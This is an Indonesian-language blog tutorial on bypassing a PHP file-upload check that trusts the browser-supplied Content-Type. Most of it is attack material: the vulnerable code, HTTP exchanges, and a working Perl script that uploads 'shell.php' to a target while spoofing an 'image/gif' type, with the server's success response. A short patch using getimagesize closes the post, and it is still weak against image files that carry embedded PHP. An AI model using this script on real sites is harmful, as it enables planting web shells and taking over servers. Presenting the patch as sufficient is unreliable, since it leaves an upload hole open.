0 Cara Membypass filetype PHP Arbitrary File Upload

Ok semua..
sekarang saya akan melanjutkan pembahasan tentang PHP Arbitrary File Upload.
ok disana patchingnya emang ga terlalu bagus...
karena filetype bisa di manipulasi..
bukan dengan merename shell.jpg.php tetapi dengan memanipulasi 'header' file
cara membypassnya:
review codenya dulu

if($_FILES['userfile']['type'] != "image/gif") {
echo "Sorry, we only allow uploading GIF images";
exit;
}

kalo kita coba di HTTP response server kira-kira dapat begini dengan code diatas

POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data;
Content-Length: 156
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/html
...
-
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/5.2.2-pl6-gentoo
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images

ok kita liat... ada footprint yang keren disana..
gimana kalo kita manipulasi upload kita supaya http server membaca script kita sebagai images/gif
simple code exploitnya..

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://www.target.com/upload2.php', Content_Type => 'form-data',
Content => [ userfile => ["shell.php", "shell.php", "Content-Type" =>"image/gif"],],
);
print $res->as_string();

coba kita liat apakah sukses exploit kita..

POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data;
Content-Length: 155
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

hohoohohoho...
untuk patchingnya:
kita perketat aja patchingnya dengan mengganti code diatas dengan code berikut

$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
echo "Sorry, we only accept GIF and JPEG images\n";
exit;
}

happy Patching..

Artikel Terkait :